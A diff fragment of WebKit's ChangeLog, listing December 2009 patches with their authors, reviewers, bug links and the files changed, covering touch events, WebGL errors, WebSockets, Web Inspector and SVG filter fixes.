+        https://bugs.webkit.org/show_bug.cgi?id=29005
+
+        The indices of RuntimeArray should be enumerated like for a regular array.
+
+        * bridge/runtime_array.cpp:
+        (JSC::RuntimeArray::getOwnPropertyNames):
+        * bridge/runtime_array.h:
+
+2009-12-11  Andreas Kling  <andreas.kling@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] ImageDecoderQt: Fix retrieval of image file extensions
+
+        QImageReader only allows retrieving the format() before actually reading the image.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32428
+
+        * platform/graphics/qt/ImageDecoderQt.cpp:
+        (WebCore::ImageDecoderQt::setData):
+        (WebCore::ImageDecoderQt::internalDecodeSize):
+
+2009-12-11  Simon Hausmann  <hausmann@webkit.org>, Kim Grönholm  <kim.gronholm@nomovok.com>
+
+        Reviewed by Antti Koivisto.
+
+        Added interfaces for touch event support in JavaScript.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32114
+
+        The Touch, TouchEvent and TouchList interfaces come straight from
+        Android's copy of WebKit (eclaire branch).
+
+        The PlatformTouchEvent and PlatformTouchPoint code was written by
+        us.
+
+        No new tests added, we are just adding interfaces
+        with this patch.
+
+        * WebCore.pro:
+        * bindings/js/JSEventCustom.cpp:
+        (WebCore::toJS):
+        * dom/Document.cpp:
+        (WebCore::Document::addListenerTypeIfNeeded):
+        * dom/Document.h:
+        (WebCore::Document::):
+        * dom/Document.idl:
+        * dom/Element.h:
+        * dom/Element.idl:
+        * dom/Event.cpp:
+        (WebCore::Event::isTouchEvent):
+        * dom/Event.h:
+        * dom/EventNames.h:
+        * dom/Touch.cpp: Added.
+        (WebCore::contentsX):
+        (WebCore::contentsY):
+        (WebCore::Touch::Touch):
+        (WebCore::Touch::updateLocation):
+        * dom/Touch.h: Added.
+        (WebCore::Touch::create):
+        (WebCore::Touch::frame):
+        (WebCore::Touch::target):
+        (WebCore::Touch::identifier):
+        (WebCore::Touch::clientX):
+        (WebCore::Touch::clientY):
+        (WebCore::Touch::screenX):
+        (WebCore::Touch::screenY):
+        (WebCore::Touch::pageX):
+        (WebCore::Touch::pageY):
+        * dom/Touch.idl: Added.
+        * dom/TouchEvent.cpp: Added.
+        (WebCore::TouchEvent::TouchEvent):
+        (WebCore::TouchEvent::initTouchEvent):
+        * dom/TouchEvent.h: Added.
+        (WebCore::TouchEvent::create):
+        (WebCore::TouchEvent::touches):
+        (WebCore::TouchEvent::targetTouches):
+        (WebCore::TouchEvent::changedTouches):
+        (WebCore::TouchEvent::TouchEvent):
+        (WebCore::TouchEvent::isTouchEvent):
+        * dom/TouchEvent.idl: Added.
+        * dom/TouchList.cpp: Added.
+        (WebCore::TouchList::item):
+        * dom/TouchList.h: Added.
+        (WebCore::TouchList::create):
+        (WebCore::TouchList::length):
+        (WebCore::TouchList::append):
+        (WebCore::TouchList::TouchList):
+        * dom/TouchList.idl: Added.
+        * html/HTMLAttributeNames.in:
+        * html/HTMLElement.cpp:
+        (WebCore::HTMLElement::parseMappedAttribute):
+        * page/DOMWindow.h:
+        * page/DOMWindow.idl:
+        * platform/PlatformTouchEvent.h: Added.
+        (WebCore::PlatformTouchEvent::PlatformTouchEvent):
+        (WebCore::PlatformTouchEvent::touchPoints):
+        * platform/PlatformTouchPoint.h: Added.
+        (WebCore::PlatformTouchPoint::):
+        (WebCore::PlatformTouchPoint::id):
+        (WebCore::PlatformTouchPoint::state):
+        (WebCore::PlatformTouchPoint::screenPos):
+        (WebCore::PlatformTouchPoint::pos):
+        * platform/qt/PlatformTouchEventQt.cpp: Added.
+        (WebCore::PlatformTouchEvent::PlatformTouchEvent):
+        * platform/qt/PlatformTouchPointQt.cpp: Added.
+        (WebCore::PlatformTouchPoint::PlatformTouchPoint):
+
+2009-12-11  Grace Kloba  <klobag@gmail.com>
+
+        Reviewed by Darin Adler.
+
+        [Android] Add detachHistoryItem() to AndroidWebHistoryBridge. And the constructor takes
+        HistoryItem* now. As AndroidWebHistoryBridge holds a dumb pointer of HistoryItem and
+        HistoryItem holds a RefPtr of AndroidWebHistoryBridge, the dumb pointer needs to be cleared
+        when HistoryItem is deleted to avoid potential crash.
+        https://bugs.webkit.org/show_bug.cgi?id=32251
+
+        * history/HistoryItem.cpp:
+        (WebCore::HistoryItem::~HistoryItem):
+        * history/android/AndroidWebHistoryBridge.h:
+        (WebCore::AndroidWebHistoryBridge::AndroidWebHistoryBridge):
+        (WebCore::AndroidWebHistoryBridge::detachHistoryItem):
+
+
+2009-12-11  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Log WebSocket error to Web Inspector console.
+        https://bugs.webkit.org/show_bug.cgi?id=32165
+
+        * websockets/WebSocketChannel.cpp:
+        (WebCore::WebSocketChannel::didOpen):
+        (WebCore::WebSocketChannel::appendToBuffer):
+        * websockets/WebSocketHandshake.cpp:
+        (WebCore::WebSocketHandshake::readServerHandshake):
+        (WebCore::WebSocketHandshake::readHTTPHeaders):
+        (WebCore::WebSocketHandshake::checkResponseHeaders):
+
+2009-12-10  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Mixed content shouldn't trigger for plug-ins without URLs
+        https://bugs.webkit.org/show_bug.cgi?id=32384
+
+        These plug-ins cannot be controlled by active network attackers, so
+        there's no reason to trigger a mixed content warning.
+
+        Test: http/tests/security/mixedContent/empty-url-plugin-in-frame.html
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::isMixedContent):
+
+2009-12-10  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32140
+        REGRESSION(r50072): Mailman administrative functionality is broken
+
+        Test: http/tests/misc/percent-sign-in-form-field-name.html
+
+        * platform/network/FormDataBuilder.cpp: (WebCore::appendQuotedString): Don't encode percent
+        sign, we never had a good reason to do that.
+
+2009-12-10  Kent Hansen  <kent.hansen@nokia.com>
+
+        Reviewed by Geoffrey Garen.
+
+        Remove getPropertyAttributes() from JavaScript bindings.
+        https://bugs.webkit.org/show_bug.cgi?id=31933
+
+        The functionality is provided by getOwnPropertyDescriptor().
+
+        * WebCore.order:
+        * bindings/js/JSDOMWindowCustom.cpp:
+        * bindings/js/JSDOMWindowShell.cpp:
+        * bindings/js/JSDOMWindowShell.h:
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * page/DOMWindow.idl:
+
+2009-12-10  Kenneth Russell  <kbr@google.com>
+
+        Reviewed by Oliver Hunt.
+
+        Changed WebGLRenderingContext to synthesize GL errors rather than
+        raising JavaScript exceptions. Removed internal getError() calls
+        after each graphics call. The GraphicsContext3D maintains the
+        synthetic exceptions because only it has complete information
+        about certain conditions requiring them to be raised.
+
+        Based on idea from Ilmari Heikkinen, added create3DDebugContext()
+        to webgl-test.js and changed the WebGL layout tests expecting
+        error conditions to use it. Updated expected.txt files, which now
+        implicitly test the OpenGL error as it is part of the exception's
+        message.
+
+        Added new targeted test covering aspects of synthetic errors as
+        well as regression tests for bugs uncovered during its development.
+
+        Test: fast/canvas/webgl/error-reporting.html
+
+        * html/canvas/WebGLRenderingContext.cpp:
+        (WebCore::WebGLRenderingContext::sizeInBytes):
+        (WebCore::WebGLRenderingContext::activeTexture):
+        (WebCore::WebGLRenderingContext::attachShader):
+        (WebCore::WebGLRenderingContext::bindAttribLocation):
+        (WebCore::WebGLRenderingContext::bindBuffer):
+        (WebCore::WebGLRenderingContext::bindFramebuffer):
+        (WebCore::WebGLRenderingContext::bindRenderbuffer):
+        (WebCore::WebGLRenderingContext::bindTexture):
+        (WebCore::WebGLRenderingContext::bufferData):
+        (WebCore::WebGLRenderingContext::bufferSubData):
+        (WebCore::WebGLRenderingContext::compileShader):
+        (WebCore::WebGLRenderingContext::createShader):
+        (WebCore::WebGLRenderingContext::detachShader):
+        (WebCore::WebGLRenderingContext::disableVertexAttribArray):
+        (WebCore::WebGLRenderingContext::drawArrays):
+        (WebCore::WebGLRenderingContext::drawElements):
+        (WebCore::WebGLRenderingContext::enableVertexAttribArray):
+        (WebCore::WebGLRenderingContext::framebufferRenderbuffer):
+        (WebCore::WebGLRenderingContext::framebufferTexture2D):
+        (WebCore::WebGLRenderingContext::getActiveAttrib):
+        (WebCore::WebGLRenderingContext::getActiveUniform):
+        (WebCore::WebGLRenderingContext::getBufferParameter):
+        (WebCore::WebGLRenderingContext::getFramebufferAttachmentParameter):
+        (WebCore::WebGLRenderingContext::getParameter):
+        (WebCore::WebGLRenderingContext::getProgramParameter):
+        (WebCore::WebGLRenderingContext::getProgramInfoLog):
+        (WebCore::WebGLRenderingContext::getRenderbufferParameter):
+        (WebCore::WebGLRenderingContext::getShaderParameter):
+        (WebCore::WebGLRenderingContext::getShaderInfoLog):
+        (WebCore::WebGLRenderingContext::getShaderSource):
+        (WebCore::WebGLRenderingContext::getTexParameter):
+        (WebCore::WebGLRenderingContext::getUniform):
+        (WebCore::WebGLRenderingContext::getUniformLocation):
+        (WebCore::WebGLRenderingContext::getVertexAttrib):
+        (WebCore::WebGLRenderingContext::linkProgram):
+        (WebCore::WebGLRenderingContext::shaderSource):
+        (WebCore::WebGLRenderingContext::texImage2D):
+        (WebCore::WebGLRenderingContext::texSubImage2D):
+        (WebCore::WebGLRenderingContext::uniform1f):
+        (WebCore::WebGLRenderingContext::uniform1fv):
+        (WebCore::WebGLRenderingContext::uniform1i):
+        (WebCore::WebGLRenderingContext::uniform1iv):
+        (WebCore::WebGLRenderingContext::uniform2f):
+        (WebCore::WebGLRenderingContext::uniform2fv):
+        (WebCore::WebGLRenderingContext::uniform2i):
+        (WebCore::WebGLRenderingContext::uniform2iv):
+        (WebCore::WebGLRenderingContext::uniform3f):
+        (WebCore::WebGLRenderingContext::uniform3fv):
+        (WebCore::WebGLRenderingContext::uniform3i):
+        (WebCore::WebGLRenderingContext::uniform3iv):
+        (WebCore::WebGLRenderingContext::uniform4f):
+        (WebCore::WebGLRenderingContext::uniform4fv):
+        (WebCore::WebGLRenderingContext::uniform4i):
+        (WebCore::WebGLRenderingContext::uniform4iv):
+        (WebCore::WebGLRenderingContext::uniformMatrix2fv):
+        (WebCore::WebGLRenderingContext::uniformMatrix3fv):
+        (WebCore::WebGLRenderingContext::uniformMatrix4fv):
+        (WebCore::WebGLRenderingContext::useProgram):
+        (WebCore::WebGLRenderingContext::validateProgram):
+        (WebCore::WebGLRenderingContext::vertexAttribPointer):
+        * html/canvas/WebGLRenderingContext.h:
+        (WebCore::WebGLRenderingContext::cleanupAfterGraphicsCall):
+        * platform/graphics/GraphicsContext3D.h:
+        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+        (WebCore::GraphicsContext3D::getActiveAttrib):
+        (WebCore::GraphicsContext3D::getActiveUniform):
+        (WebCore::GraphicsContext3D::getError):
+        (WebCore::GraphicsContext3D::synthesizeGLError):
+
+2009-12-10  Stephen White  <senorblanco@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Fix for assert on Chrome/skia with SVG Filters enabled.
+        https://bugs.webkit.org/show_bug.cgi?id=32394
+
+        Covered by LayoutTests/svg/W3C-SVG-1.1/filters-tile-01-b.svg and others.
+
+        * platform/graphics/skia/ImageBufferSkia.cpp:
+        (WebCore::ImageBuffer::platformTransformColorSpace):
+
+2009-12-10  Enrica Casucci  <enrica@apple.com>
+
+        Reviewed by Darin Adler.
+
+        REGRESSION(4.0.4-42a12): With 2 highlighted lines of text in gmail/hotmail selecting Bold selects other 2 edit buttons automatically.
+        <rdar://problem/7442065>
+        https://bugs.webkit.org/show_bug.cgi?id=32285
+
+        When examining the styles of the nodes after the first in a range selection, we take into
+        cosideration differences in style of txt nodes only.
+        
+        Test: editing/execCommand/queryCommandState-02.html
+
+        * editing/Editor.cpp:
+        (WebCore::Editor::selectionHasStyle):
+
+2009-12-10  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Crash in XMLTokenizer::popCurrentNode if window.close() is called during parsing
+        https://bugs.webkit.org/show_bug.cgi?id=31576
+
+        Add a RefCounted wrapper object around xmlParserCtxtPtr so we can
+        maintain it's lifetime more effectively.
+
+        Test: fast/parser/xhtml-close-while-parsing.xhtml
+
+        * dom/XMLTokenizer.cpp:
+        (WebCore::XMLTokenizer::popCurrentNode):
+        * dom/XMLTokenizer.h:
+        (WebCore::XMLParserContext::context):
+        (WebCore::XMLParserContext::XMLParserContext):
+        (WebCore::XMLTokenizer::context):
+        * dom/XMLTokenizerLibxml2.cpp:
+        (WebCore::XMLParserContext::createStringParser):
+        (WebCore::XMLParserContext::createMemoryParser):
+        (WebCore::XMLParserContext::~XMLParserContext):
+        (WebCore::XMLTokenizer::~XMLTokenizer):
+        (WebCore::XMLTokenizer::doWrite):
+        (WebCore::XMLTokenizer::initializeParserContext):
+        (WebCore::XMLTokenizer::doEnd):
+        (WebCore::XMLTokenizer::lineNumber):
+        (WebCore::XMLTokenizer::columnNumber):
+        (WebCore::XMLTokenizer::stopParsing):
+        (WebCore::parseXMLDocumentFragment):
+        (WebCore::parseAttributes):
+
+2009-12-10  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: debugger shortcuts don't work when
+        Search field or Console drawer has focus.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32392
+
+        * inspector/front-end/inspector.js:
+        (WebInspector.loaded):
+        (WebInspector.documentKeyDown):
+        (WebInspector.documentKeyUp):
+        (WebInspector.searchKeyDown):
+
+2009-12-10  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        [V8] Events created in isolated worlds may fire in main world.
+        https://bugs.webkit.org/show_bug.cgi?id=32386
+
+        Test: http/tests/security/isolatedWorld/events.html
+
+        * WebCore.gypi: Added WorldContextHandle.
+        * bindings/v8/ScriptEventListener.cpp:
+        (WebCore::createAttributeEventListener): Added WorldContextHandle params.
+        * bindings/v8/SharedPersistent.h: Fixed a few style/include issues.
+        * bindings/v8/V8AbstractEventListener.cpp:
+        (WebCore::V8AbstractEventListener::V8AbstractEventListener): Added WorldContextHandle params.
+        (WebCore::V8AbstractEventListener::handleEvent): Adjusted context retrieval to use WorldContextHandle.
+        (WebCore::V8AbstractEventListener::invokeEventHandler): Ditto.
+        * bindings/v8/V8AbstractEventListener.h:
+        (WebCore::V8AbstractEventListener::worldContext): Added WorldContextHandle params.
+        * bindings/v8/V8EventListenerList.h:
+        (WebCore::V8EventListenerList::findOrCreateWrapper): Ditto.
+        * bindings/v8/V8LazyEventListener.cpp:
+        (WebCore::V8LazyEventListener::V8LazyEventListener): Ditto.
+        (WebCore::V8LazyEventListener::prepareListenerObject): Adjusted context retrieval to use WorldContextHandle.
+        * bindings/v8/V8LazyEventListener.h:
+        (WebCore::V8LazyEventListener::create): Added WorldContextHandle params.
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::context): Refactored to use mainWorldContext();
+        (WebCore::V8Proxy::mainWorldContext): Added.
+        (WebCore::toV8Context): Changed to use WorldContextHandle.
+        * bindings/v8/V8Proxy.h: Added mainWorldContext decl.
+        * bindings/v8/V8Utilities.cpp:
+        (WebCore::reportException): Added an extra check to avoid crashes during frame teardown.
+        * bindings/v8/V8WorkerContextEventListener.cpp:
+        (WebCore::V8WorkerContextEventListener::V8WorkerContextEventListener): Added WorldContextHandle params.
+        * bindings/v8/V8WorkerContextEventListener.h:
+        (WebCore::V8WorkerContextEventListener::create): Added WorldContextHandle params.
+        * bindings/v8/WorldContextHandle.cpp: Added.
+        * bindings/v8/WorldContextHandle.h: Added.
+        * bindings/v8/custom/V8CustomEventListener.cpp:
+        (WebCore::V8EventListener::V8EventListener): Added WorldContextHandle params.
+        * bindings/v8/custom/V8CustomEventListener.h:
+        (WebCore::V8EventListener::create): Added WorldContextHandle params.
+
+2009-12-10  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        Pass more information about a plug-in to the PluginHalterDelegate
+
+        Reviewed by Adam Roben.
+
+        * loader/EmptyClients.h:
+        Remove this unused class.
+
+        * page/HaltablePlugin.h:
+        Add new functions to return the plug-in's name and whether it is
+        windowed.
+
+        * page/PluginHalter.cpp:
+        (WebCore::PluginHalter::timerFired):
+        Pass new arguments to the client.
+
+        * page/PluginHalterClient.h:
+        Add new parameters.
+
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::pluginName):
+        Return the name from the PluginPackage.
+
+        * plugins/PluginView.h:
+        (WebCore::PluginView::isWindowed):
+
+2009-12-09  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Pavel Feldman.
+
+        Fixes <http://webkit.org/b/31738>.
+        Web Inspector: Console Scope Bar should be on top of console when Console is a Panel.
+        
+        When the console is set to be shown as a full panel, move the scope bar to the top
+        where it looks best. When it is only shown as a drawer, move it to the bottom, where
+        it originally was. This takes up less space as a drawer, and makes it more discoverable
+        and usable when it is the full panel.
+
+        * inspector/front-end/ConsolePanel.js:
+        (WebInspector.ConsolePanel.prototype.show): Move filter bar to top.
+        (WebInspector.ConsolePanel.prototype.hide): Move filter bar back to bottom.
+        * inspector/front-end/inspector.css:
+
+2009-12-10  Stephen White  <senorblanco@chromium.org>
+
+        Reviewed by Dirk Schulze.
+
+        Fix for alpha blending in SVG Filters on Chromium/skia.
+        https://bugs.webkit.org/show_bug.cgi?id=32378
+
+        Covered by LayoutTests/svg/filters/feGaussianBlur.svg and others.
+
+        * platform/graphics/skia/ImageBufferSkia.cpp:
+        (WebCore::ImageBuffer::platformTransformColorSpace):
+
+2009-12-10  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Add context menu actions for DOM tree.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32348
+
+        * English.lproj/localizedStrings.js:
+        * inspector/front-end/ContextMenu.js:
+        (WebInspector.ContextMenu):
+        (WebInspector.ContextMenu.prototype.show):
+        (WebInspector.ContextMenu.prototype.appendItem):
+        (WebInspector.ContextMenu.prototype.appendSeparator):
+        (WebInspector.ContextMenu.prototype._itemSelected):
+        (WebInspector.contextMenuItemSelected):
+        (WebInspector.contextMenuCleared):
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeOutline.prototype._onmouseout):
+        (WebInspector.ElementsTreeOutline.prototype.populateContextMenu):
+        (WebInspector.ElementsTreeElement.prototype.ondblclick):
+        (WebInspector.ElementsTreeElement.prototype._startEditingFromEvent):
+        (WebInspector.ElementsTreeElement.prototype._populateTagContextMenu):
+        (WebInspector.ElementsTreeElement.prototype._populateTextContextMenu):
+        (WebInspector.ElementsTreeElement.prototype._startEditing):
+        (WebInspector.ElementsTreeElement.prototype._addNewAttribute):
+        * inspector/front-end/ObjectPropertiesSection.js:
+        (WebInspector.ObjectPropertyTreeElement.prototype.ondblclick):
+        * inspector/front-end/ResourceView.js:
+        (WebInspector.ResourceView.prototype._toggleURLdecoding):
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourceSidebarTreeElement.prototype.ondblclick):
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylePropertyTreeElement.prototype):
+        * inspector/front-end/inspector.js:
+        (WebInspector.contextMenuEventFired):
+        * inspector/front-end/treeoutline.js:
+        (TreeElement.treeElementDoubleClicked):
+
+2009-12-09  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Reviewed by Oliver Hunt.
+
+        Filters contain some leaks in untested code
+        https://bugs.webkit.org/show_bug.cgi?id=32325
+
+        Fix obvious leak in SVGFE*Lighting classes. Implement the create() idiom for 
+        all classes in svg/graphics, that were missing it. The lighting filters aren't
+        implemented so far, but the associated FilterEffect objects are build, which created
+        these leaks.
+
+        This removes the SVG related failures in the leaks bot.
+
+        * svg/SVGFEDiffuseLightingElement.cpp:
+        (WebCore::SVGFEDiffuseLightingElement::findLights):
+        * svg/SVGFEDiffuseLightingElement.h:
+        * svg/SVGFEDistantLightElement.cpp:
+        (WebCore::SVGFEDistantLightElement::lightSource):
+        * svg/SVGFEDistantLightElement.h:
+        * svg/SVGFELightElement.h:
+        * svg/SVGFEPointLightElement.cpp:
+        (WebCore::SVGFEPointLightElement::lightSource):
+        * svg/SVGFEPointLightElement.h:
+        * svg/SVGFESpecularLightingElement.cpp:
+        (WebCore::SVGFESpecularLightingElement::findLights):
+        * svg/SVGFESpecularLightingElement.h:
+        * svg/SVGFESpotLightElement.cpp:
+        (WebCore::SVGFESpotLightElement::lightSource):
+        * svg/SVGFESpotLightElement.h:
+        * svg/graphics/filters/SVGDistantLightSource.h:
+        (WebCore::DistantLightSource::create):
+        (WebCore::DistantLightSource::DistantLightSource):
+        * svg/graphics/filters/SVGFEDiffuseLighting.cpp:
+        (WebCore::FEDiffuseLighting::FEDiffuseLighting):
+        (WebCore::FEDiffuseLighting::create):
+        (WebCore::FEDiffuseLighting::setLightSource):
+        * svg/graphics/filters/SVGFEDiffuseLighting.h:
+        * svg/graphics/filters/SVGFESpecularLighting.cpp:
+        (WebCore::FESpecularLighting::FESpecularLighting):
+        (WebCore::FESpecularLighting::create):
+        (WebCore::FESpecularLighting::setLightSource):
+        * svg/graphics/filters/SVGFESpecularLighting.h:
+        * svg/graphics/filters/SVGLightSource.h:
+        * svg/graphics/filters/SVGPointLightSource.h:
+        (WebCore::PointLightSource::create):
+        (WebCore::PointLightSource::PointLightSource):
+        * svg/graphics/filters/SVGSpotLightSource.h:
+        (WebCore::SpotLightSource::create):
+        (WebCore::SpotLightSource::SpotLightSource):
+
+2009-12-10  Kenneth Russell  <kbr@google.com>
+
+        Reviewed by Oliver Hunt.
+
+        [Chromium] SporeViewer demo doesn't work in Chromium
+        https://bugs.webkit.org/show_bug.cgi?id=32364
+
+        Test: fast/canvas/webgl/bug-32364.html
+
+        * bindings/v8/custom/V8WebGLRenderingContextCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::vertexAttribAndUniformHelperf):
+        (WebCore::uniformHelperi):
+
+2009-12-09  Beth Dakin  <bdakin@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=32346 SVG property 
+        -webkit-shadow should apply shadow on the result after compositing
+        -and corresponding-
+        <rdar://problem/7389404>
+
+        Set a transparency layer when setting a shadow to apply the shadow 
+        to the composite.
+        * rendering/SVGRenderSupport.cpp:
+        (WebCore::SVGRenderBase::prepareToRenderSVGContent):
+        (WebCore::SVGRenderBase::finishRenderSVGContent):
+
+2009-12-09  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32332
+        WebSocket events should be dispatched synchronously
+
+        Updated websocket/tests/simple to test for the new behavior.
+
+        When Web Sockets API says that events should be queued for async dispatch, it means something
+        different. We should keep this in mind when dealing with other HTML5-related specs.
+
+        The model for HTML5 is that code running in response to network events (e.g. WebSocket or
+        XMLHttpRequest algorithms) runs in a separate thread of execution, and thus needs to post
+        async events as its only way to communicate with client code. As long as network events are
+        queued themselves (as they are in WebKit), there is no need to queue JS events for async
+        dispatch.
+
+        * websockets/WebSocket.cpp:
+        (WebCore::WebSocket::didConnect):
+        (WebCore::WebSocket::didReceiveMessage):
+        (WebCore::WebSocket::didClose):
+
+2009-12-09  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32355
+        Assertion failure when opening a WebSocket connection
+
+        I couldn't make a reliable test for this. Once the test from bug 32299 is landed, it
+        will provide partial coverage, as I was frequently seeing the assertion failure with it.
+
+        * platform/network/SocketStreamHandleBase.cpp: (WebCore::SocketStreamHandleBase::send):
+        It's not an error if zero is returned from platformSend() - it just means that nothing could
+        be pushed down to the network layer, and all data was queued for later.
+        * platform/network/cf/SocketStreamHandleCFNet.cpp:
+        (WebCore::SocketStreamHandle::readStreamCallback): This will no longer happen with SocketStream,
+        but a client can potentially destroy the handle from any callback, so we need to check that
+        this didn't happen.
+        (WebCore::SocketStreamHandle::writeStreamCallback): Ditto.
+
+2009-12-09  Sam Weinig  <sam@webkit.org>
+
+        Roll out 51919 and 51920. They were incorrect and unnecessary right now.
+
+        * platform/mac/WebCoreObjCExtras.mm:
+        (WebCoreObjCScheduleDeallocateOnMainThread):
+        * platform/network/mac/NetworkStateNotifierMac.cpp:
+        (WebCore::NetworkStateNotifier::NetworkStateNotifier):
+
+2009-12-09  Steve Block  <steveblock@google.com>
+
+        Reviewed by Darin Fisher.
+
+        Adds wtf/StdLibExtras.h include for DEFINE_STATIC_LOCAL in V8 ScriptState.
+        https://bugs.webkit.org/show_bug.cgi?id=32330
+
+        Build fix only, no new tests.
+
+        * bindings/v8/ScriptState.cpp: Modified. Adds wtf/StdLibExtras.h include.
+
+2009-12-09  Steve Block  <steveblock@google.com>
+
+        Reviewed by Darin Adler.
+
+        Adds ENABLE(INSPECTOR) guards around script binding methods that use types
+        defined only when INSPECTOR is enabled.
+        https://bugs.webkit.org/show_bug.cgi?id=32328
+
+        Build fix only, no new tests.
+
+        * bindings/js/ScriptValue.cpp: Modified. Added ENABLE(INSPECTOR) guard to ScriptValue::quarantineValue.
+        * bindings/v8/ScriptObject.cpp: Modified. Added ENABLE(INSPECTOR) guard to some overloads of ScriptGlobalObject::set.
+
+2009-12-09  Steve Block  <steveblock@google.com>
+
+        Reviewed by Adam Barth.
+
+        Adds Android Makefiles for building with V8.
+        Also updates existing Android Makefiles with latest additions.
+        https://bugs.webkit.org/show_bug.cgi?id=32278
+
+        Build fix only, no new tests.
+
+        * Android.derived.jscbindings.mk: Modified.
+        * Android.derived.mk: Modified.
+        * Android.derived.v8bindings.mk: Added.
+        * Android.jscbindings.mk: Modified.
+        * Android.mk: Modified.
+        * Android.v8bindings.mk: Added.
+
+2009-12-09  Jonathan Dixon  <joth@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Bug 32338 - [Chromium] Fix Chromium builder by including missing GeolocationServiceChromium
+        https://bugs.webkit.org/show_bug.cgi?id=32338
+
+        Fix build break: re-include file dropped out by merge in http://trac.webkit.org/changeset/51681/trunk/WebCore/WebCore.gypi
+
+        * WebCore.gypi: Add missing GeolocationServiceChromium.cpp
+
+2009-12-09  Andreas Kling  <andreas.kling@nokia.com>
+
+        Reviewed by Brady Eidson.
+
+        Fixed a typo in http://trac.webkit.org/changeset/51644 that broke
+        the QWebPage autotest.
+
+        No new test required.
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::navigateToDifferentDocument):
+
+2009-12-09  Robert Hogan  <robert@roberthogan.net>
+
+        Reviewed by Eric Seidel.
+
+        Exclude JSSVG*.cpp generated files from --minimal and --no-svg builds.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=32286
+
+        * WebCore.pro:
+
+2009-12-09  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Eric Carlson.
+
+        Ogg mimetypes are incorrect
+        https://bugs.webkit.org/show_bug.cgi?id=27113
+
+        The ogg extension is handled by audio/ogg instead of
+        application/ogg. See
+        http://wiki.xiph.org/MIME_Types_and_File_Extensions
+
+        * platform/MIMETypeRegistry.cpp:
+        (WebCore::TypeExtensionPair::):
+
+2009-12-09  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Anders Carlsson.
+
+        Use the current run loop instead of the main runloop for the NetworkStateNotifier.
+
+        * platform/network/mac/NetworkStateNotifierMac.cpp:
+        (WebCore::NetworkStateNotifier::NetworkStateNotifier):
+
+2009-12-09  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Anders Carlsson.
+
+        Use isMainThread() helper instead of pthread_main_np() != 0.
+
+        * platform/mac/WebCoreObjCExtras.mm:
+        (WebCoreObjCScheduleDeallocateOnMainThread):
+
+2009-12-09  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Anders Carlsson.
+
+        Add some #ifdefs to allow us to experiment with a single NSView mac WebKit.
+
+        * page/Chrome.h:
+        * page/EventHandler.h:
+        * page/mac/ChromeMac.mm:
+        * page/mac/DragControllerMac.mm:
+        (WebCore::DragController::dragOperation):
+        * page/mac/EventHandlerMac.mm:
+        (WebCore::EventHandler::eventLoopHandleMouseDragged):
+        (WebCore::EventHandler::eventActivatedView):
+        (WebCore::EventHandler::passMousePressEventToSubframe):
+        (WebCore::EventHandler::passMouseMoveEventToSubframe):
+        (WebCore::EventHandler::passMouseReleaseEventToSubframe):
+        (WebCore::EventHandler::passWheelEventToWidget):
+        (WebCore::EventHandler::focusDocumentView):
+        (WebCore::EventHandler::passWidgetMouseDownEventToWidget):
+        (WebCore::EventHandler::createDraggingClipboard):
+        (WebCore::isKeyboardOptionTab):
+        (WebCore::EventHandler::invertSenseOfTabsToLinks):
+        (WebCore::EventHandler::tabsToAllControls):
+        (WebCore::EventHandler::needsKeyboardEventDisambiguationQuirks):
+        (WebCore::EventHandler::accessKeyModifiers):
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::wheelEvent):
+        * platform/Widget.cpp:
+        * platform/Widget.h:
+        * platform/mac/ScrollViewMac.mm:
+        * platform/mac/WidgetMac.mm:
+        (WebCore::Widget::Widget):
+        (WebCore::Widget::~Widget):
+        (WebCore::Widget::show):
+        (WebCore::Widget::hide):
+        (WebCore::Widget::setCursor):
+        (WebCore::Widget::paint):
+        (WebCore::Widget::setFocus):
+        (WebCore::Widget::setIsSelected):
+        (WebCore::Widget::frameRect):
+        (WebCore::Widget::setFrameRect):
+
+2009-12-09  Michael Nordman  <michaeln@google.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        Chromium build fix.
+
+        No new tests.
+
+        * bindings/v8/DOMData.cpp
+        * bindings/v8/V8DOMWrapper.cpp
